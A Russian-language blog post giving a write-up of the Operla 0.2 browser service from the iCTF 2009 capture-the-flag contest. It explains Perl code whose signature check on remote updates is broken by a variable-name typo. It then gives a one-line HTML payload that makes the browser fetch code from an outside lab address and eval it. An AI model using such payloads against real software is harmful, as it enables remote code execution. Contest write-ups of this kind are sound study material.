→ Operla 0.2

| No TrackBacks

Продолжаем разбор полетов iCTF 2009. Начало здесь.

Вторая версия браузера Operla уже была запатчена от уязвимости первой версии. Суть уязвимости была в основном функционале браузера - Operla 0.2 парсила все теги на предмет наличия в них action=([^;]*):

if ($text =~ /action=([^;]*)/) {
$obj = $self->{o};
$obj->action($1);
}

Соответственно в sub action было:

if ($action eq 'update') {
my $ua = $self->{ua};
$res = $ua->get ($self->{data});
$value = $res->content;
if ($self->verifySignature ($va1ue)) {
eval ($value);
}
Если код подписанный (verifySignature возвращает 1), то eval-ился код из того же тега из аттрибута data. Поскольку в функцию отдавался параметр с опечаткой (va1ue вместо value), то подпись всегда прокатывала :)
sub verifySignature {
my $self = shift @_;
$data = shift @_;
$hash = md5_hex ($data);
if ($data eq '' or $hash eq '5eb63bbbe01eeedO93cb22bb8f5acdc3' or $data eq '') {
return 1;
}
return 0;
}

Таким образом валидный код для eval только пустой или hello world, а поскольку $va1ue -- undef, то verifySignature всегда возвращала 1.

Эксплойт для главной страницы:

<span data="http://10.24.0.2/o02.txt">action=update</span>

Вместо тега span может быть любой другой.

Исходники файлов:

operla-0.2.pl
Object.pm

No TrackBacks

TrackBack URL: http://smokedchicken.org/m/mt-tb.cgi/10

About this Entry

This page contains a single entry by 盗賊 published on December 24, 2009 6:04 PM.

Выделение сигнатур из антивирусных баз was the previous entry in this blog.

26c3 is the next entry in this blog.

Find recent content on the main index or look in the archives to find all content.